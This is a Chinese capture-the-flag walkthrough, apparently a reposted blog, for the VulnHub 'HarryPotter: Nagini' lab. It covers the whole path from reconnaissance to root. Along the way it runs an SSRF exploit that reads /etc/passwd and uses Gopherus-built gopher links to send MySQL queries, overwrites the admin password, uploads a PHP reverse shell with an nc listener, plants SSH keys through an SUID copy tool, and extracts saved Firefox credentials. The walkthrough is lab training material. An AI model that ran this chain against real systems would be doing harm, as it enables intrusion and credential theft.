0


【VulnHub靶场】——HARRYPOTTER第二部: NAGINI

作者名:Demo不是emo

主页面链接:主页传送门
创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,我也刚接触计算机1年,也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验等等,希望能帮助到大家
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:波力海苔,大白兔奶糖,奥利奥

今天的博客内容是HARRYPOTTER: NAGINI教程(简单难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场平台入口在这,推荐大家使用,大家进去直接搜索HARRYPOTTER: NAGINI就能下载今天的靶场了,也可以找我拿,开始对今天靶场的介绍

这是哈利波特vm系列靶场的第二个靶场,总共有三个靶场,其中隐藏了8个魂器,上一期的第一个靶场中隐藏了2个魂器,今天这个靶场中隐藏了三个,意思就是今天的靶场有三个flag,话不多说我们来见识见识

靶场地址HarryPotter: Nagini ~ VulnHub

一:攻击准备

直接在vbox导入就可以,如果出现了报错,就把启用usb控制器关掉就可以正常打开了

这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),虚拟机管理设备用vm和virtual均可,我这里就用virtual来给大家演示了,如下面这样就是搭建完成了,具体搭建过程就不多讲了,不懂得也可以私信问我

(因为我这是校园网,有防护所以c段不同,这里都用桥接模式即可,而且靶机也显示了ip地址,不一定要跟我一样,只要能ping通就可以进行靶场操作了)

二:信息收集

这里看到,我的kali攻击机的ip是172.21.100.73,而目标机器的ip是172.21.13.189,既然知道了对方的ip,我们就直接用nmap扫描工具详细扫描一下,扫描结果如下:

可以看到我们这里成功探测到了目标开放的22端口和80端口,,还有操作系统版本,中间件版本等信息,那下面就是从这些端口入手了,看能不能找到一些有用信息

1.网页信息

根据上面的扫描结果可以看到对方开启了22端口(ssh服务)80端口(http服务),因为ssh需要用户名等敏感信息,所以我们就先探测对方的http服务,即通过目标的ip访问目标搭建的网页,访问结果如下:

可以看到目标网页中只有一张图片,而且f12开发者页面也没有什么提示信息,靶场中出现的图片大概率存在了隐写术,我们用wget命令下载这个图片到本地,再用steghide工具(一款开源的隐写工具)使用info参数查看图片,步骤如下:

可以发现提取图片中的数据时提示需要密码,因为我们没拿到,所以这里对隐写术的探索就先暂停了,老规矩,再来探测一下目标的敏感目录

2.目录探测

这里我们使用kali自带的dirsearch目录爆破工具 (个人觉得很好用),命令如下

dirsearch -u "目标ip地址" -e *

扫描结果如下

注意:这里有的人找我反映扫不出来note.txt这个文件,这是因为这款工具的默认字典里没 有, 但是我的dirsearch的字典自己加了一些字典进去,所以能扫出来,无伤大雅

3.joomscan工具

这里可以看到有用的信息只扫到了一个note.txtjoomla文件,度娘查了一下,joomla是一个cms框架,并且kali上还有对应的工具joomscan(一款开源的jooomla的cms框架漏洞检测)

我们这里输入下面这个命令,就可以对该站点进行漏洞扫描

joomscan --url 172.21.13.189/joomla

扫描结果如下:

可以看到我们扫出了很多joomla的小文件,很多都是在joomla/administrator目录下的,猜测是后台登录页面,访问试试

** **不过我们暂时不知道账密,先放在一边,继续分析其他的

这里还爆出来了一个备份文件,我们直接下载下来看看

这里得知了目标使用的是mysql数据库,用户名为goblian没有密码

4.敏感信息

我们再来看看note.txt 的信息,访问一下看看

翻译过来大概就是下面这个意思

就是讲有一个域名,需要我们用http3来访问,这应该就是作者留给我们的下一步的信息了,但是http3环境我安装了一下午也没搞好,没太搞懂,这里就跳过了搭建http3服务器的步骤了(在线求http3搭建教程

http3服务器搭建好之后,再用http3访问上面作者留下的网址,访问后就是如下的一段html代码

注:这里的http3服务器只是为了访问给出的网址,获取信息,所以小伙伴们在玩的时候可以直接跳过这步,直接看我下面获得的信息就可以了

这里的信息意思就是说有一个internalResourceFeTcher.php目录,我们直接尝试访问一下

三:实际操作

1.SSRF漏洞

访问的结果如下

可以看到这是一个内部网络资源获取界面,所以首先我们要想到的就是SSRF漏洞,所以先用该站点对127.0.0.1发起请求,看是否能收到回显

如上图,输入http://127.0.0.1时确实回显了主页的页面,说明成功验证了SSRF,SSRF一般都搭配**伪协议**的使用,这里我们再用**file协议**先来尝试读取一下他的/etc/passwd密码文件

也成功读取,说明目标并没有对伪协议进行过滤,那我们就可以用万金油协议——gopher

2.gopherus工具

gopherus是一款生成gopher链接来帮助我们利用SSRF和获得RCE的工具,当然,使用的前提是一个地方验证了SSRF漏洞,而且gopher协议又没被过滤

1.下载

wget http://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip

2.解压

unzip master.zip

注意:该工具需要python2的环境才能运行

给大家详细讲讲上图指令的意思

1.生成攻击mysql的payload(即gopher链接)
python2 gopherus.py --exploit mysql

2.输入目标用户名

3.输入想在目标数据库执行的指令
列如我上图的  use joomla;show tables;
就是查看joolma库下的所有表
因为刚才在备份文件中已经发现了库名为joomla,所以我们这里就直接从表名开始查

4.就可以生成一个gopher协议的链接,将链接放置在SSRF漏洞处,目标数据库就会执行
我们填写的指令,并显示回显内容

现在我们就把生成payload放入SSRF漏洞处,结果如下:

注:靶场的环境有一点点问题,如果没有回显就多刷新几次就可以看到回显了,后面的同理

成功找到了一个user表,猜测里面存在用户信息,所以我们再生成一个查数据的payload

** 步骤如下:**

查询结果如下

可以看到我们成功获取了管理员的账号和密码,账号是** site_admin,密码是<$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay**

本来以为这个密码是个简单的md5,结果经过我十几分钟的探索后,果然,我放弃了,这有点太复杂了

不过我仔细想了想,我们通过gopher可以让目标执行我们对数据库的命令,那我们直接让对方修改密码不就行了?步骤如下

1.先找个我们想用的密码,获取它的md5值

echo "root" |md5sum

我这里用的时root,这个随便就行

2.再用数据库命令将该md5值替换刚才的密码,填写的指令如下:

use joomla;update joomla_users set password="你自己刚刚生成的md5值" where username="site_admin";

老规矩还是拿去利用SSRF执行

可以看到密码已经更改成功了,这时候我们有了管理员的账密,那前面我们找到的后台页面现在就起到作用了,我们直接尝试登录

成功登录网站后台

3. 拿到webshell

一般登录网站后就要想办法拿到网站的权限,也就是webshell了,通常来说就是找上传点,上传反弹shell或者一句话木马,这里我们就用反弹shell的木马就行,跟着下面的图例走就可以到达上传点

在这里点击new file后将上传格式选择为php,file name就是上传之后保存的文件名,自己随便定就好,最后点击create就可以创建一个空的php文件

此时也可以看到a.php中并没有内容,这时候再把我们准备好的反弹shell的php代码放上去

放上去后点击左上角的save即可保存

** 注:这里的反弹shell的文件可以去网上找,也可以用kali上自带的,在/usr/share/webshell/php目录下就是kali自带的反弹shell的php文件,但是使用前要记得改反弹的ip和端口号,**再复制到你自己创建的php文件中就可以了

上传之后文件保存在

http://靶机的ip地址/joomla/templates/protostar/你刚定的保存的名字.php

比如我的,就是访问http:// 172.21.13.189/joomla/templates/protostar/a.php

在kali新开一个终端用nc监听反弹shell的php文件中自己设置的监听端口,比如我设置的就是1234, 所以就输入

nc -lvp 1234

再访问上面说的文件保存的地址,此时就可以收到反弹的shell了

可以看到这里已经成功拿到了webshell,但并不是交互式的,有很多东西都做不了,所以我们还得获取交互式的shell,看了一下,目标靶机存在python3的环境 ,所以我们这里就用python3来生成了,代码如下:

python3 -c "import pty;pty.spawn('/bin/bash')"

使用效果如下:

可以看到这里离成功拿到交互式shell,并且在kali的根目录(var/www/html)发现了本关的第一个魂器(horcrux1.txt),并将它用base64解码,得到线索

3: SlythEriN's LocKEet dEstroYeD bY RoN

4.普通用户权限

靶场的线索,一般特别喜欢放在根目录家目录下,根目录我们刚刚已经看了,现在来看看家目录,我们cd到home下,发现有两个用户,hermoine用户snape用户,我们先看看hermoine用户

发现hermoine用户下存放着第二个魂器,但可惜我们此时没有权限打开,所以就只能再去看看宁一个用户了,探测到的信息如下

成功发现了一个隐藏文件creds.txt,并拿到一串base64加密过的信息,直接解密发现结果是Love@lilly,看着啥也不像,但是这个文件是在snape用户下找到的,并且最开始探测到开启了ssh端口,所以我猜测这应该是snape用户的密码,所以直接su切换到snape用户试试

可以看到这里成功登陆了,就代表密码没问题,也拿到了snape的权限,接下来的操作还是老规矩,继续横向或纵向渗透

因为刚才我们看到本机有两个用户,而我们只拿到了snape用户的权限,所以我们应该首先考虑拿hermoine用户的权限

5.ssh公钥登录

** 拿到普通用户的权限,首先应该查看的就是哪些可以使用suid权限,其次就是在历史命令中找线索,这也是同学们在玩靶场时的一般流程**

这里我们先看看哪些文件具有suid权限,输入下面这个命令即可查看

find / -perm -u=s 2>/dev/null

查看到的结果如下

可以看到在hermoine用户下存在一个su_cp文件,我们cd到该目录下载详细看看

可以看到该文件的作用是拷贝文件,意思就是我们可以复制文件到hermoine用户下 ,再联系到刚才ssh端口的开放,怎么样?横向渗透是不是有思路了?

这里我的想法是在攻击机生成密钥对,把生成的公钥复制到hermoine用户的ssh目录下保存,这样就可以直接用ssh公钥登录hermoine用户,而不需要密码

**想要详细了解ssh公钥登录的同学也可以先看看下面这篇博客,后续我也会出一篇博客详细介绍 **

点此查看我推荐的博客

注:这里不看也不影响本靶场操作,简单点说公钥登录就是 自己生成密钥对(即公钥和私钥),私钥自己保留,公钥可以放在自己想用ssh登录的主机,这样用ssh登录时就不需要密码(实际流程比较复杂,这里就这样理解就可以了)

具体操作如下:

kali攻击机上输入
1.ssh-keygen
生成密钥对(默认生成路径在/root/.ssh),这里一直回车即可生成,会生成一个id_rsa(私                        
钥)和id_rsa.pub(公钥)

2.scp /root/.ssh/id_rsa.pub [email protected]:~/  
将公钥投递到目标机器,这里因为hermoine用户我们不知道密码,暂时无法连接,所以就先投递到snape用户下,这里的~/目录其实就相当于/home/snape目录

再控制目标的终端输入
3.chmod 640 id_rsa.pub
赋予公钥执行权限,注意这里要先进入/home/snape才能看到公钥

4.mv id_rsa.pub authorized_keys
改公钥的文件名,这是规定,不然会连不上

5./home/hermoine/bin/su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
使用su_cp把snape上的公钥放到hermoine用户的ssh文件下,这个命令输入后可以查看一下/home/hermoine/.ssh/是否有该文件

步骤图

kali上执行的操作如下

**kali控制的靶机终端执行的操作如下 **

可以看到公钥已经成功放入,我们现在来直接ssh连接尝试登录hermoine用户

可以看到,成功登录hermoine用户,并且拿到了第二个魂器(horcrux2.txt),也是一个base64加密,解密后为

4: Helga Hufflepuff's Cup destroyed by Hermione

6.root提权

在hermoine用户下,我们不仅发现了本关的第二个魂器,还发现了.mozilla文件,我们老师以前也提到过这个文件,这个文件里面包含有火狐浏览器各种信息乃至账密。恰好github上也有专门提取该文件信息的工具——Firefox Decrypt,所以我们把他下载下来再用这个工具提取一下信息看看

**步骤如下 **

1.scp -rp [email protected]:/home/hermoine/.mozilla/firefox /root/demo
下载该文件到kali攻击机

2.wget https://github.com/lclevy/firepwd/archive/refs/heads/master.zip
下载firepwd工具

3.cd firepwd-master 
进入工具文件夹

4.sudo pip install -r requirements.txt
下载所需模块

5.cp firepwd-master/firepwd.py demo/firefox/g2mhbq0o.default
将脚本复制到要读取数据的火狐文件中

6.cd demo/firefox/g2mhbq0o.default
进入保存数据的火狐文件

7.python3 firepwd.py
执行脚本,读取数据

最后读取的结果如下,可以看到账号名和密码都被读取出来了

既然账号名是root,那这应该就是root用户的账密了,我们直接su root切换root用户试试

可以看到成功登陆了root用户,在用户目录下存在了第三个魂器,也就是horcruxes3.txt,经过base64解密后为

5: Diadem of Ravenclaw destroyed by Harry

这也是哈利波特系列靶场的第五个魂器(共8个),到这里这一关就算是结束了,如果你也看到了这里,请你也给自己点点赞吧(这关确实有点难)

哈利波特系列靶场的第三关(也就是最后一关)的攻略我过两天就会出,敬请期待,最后感谢大家的阅读,有什么问题或者想讨论的知识随时都可以评论或者私信找我哦,加油哇同学们!


本文转载自: https://blog.csdn.net/qq_63844103/article/details/127149263
版权归原作者 Demo不是emo 所有, 如有侵权,请联系我们删除。

“【VulnHub靶场】——HARRYPOTTER第二部: NAGINI”的评论:

还没有评论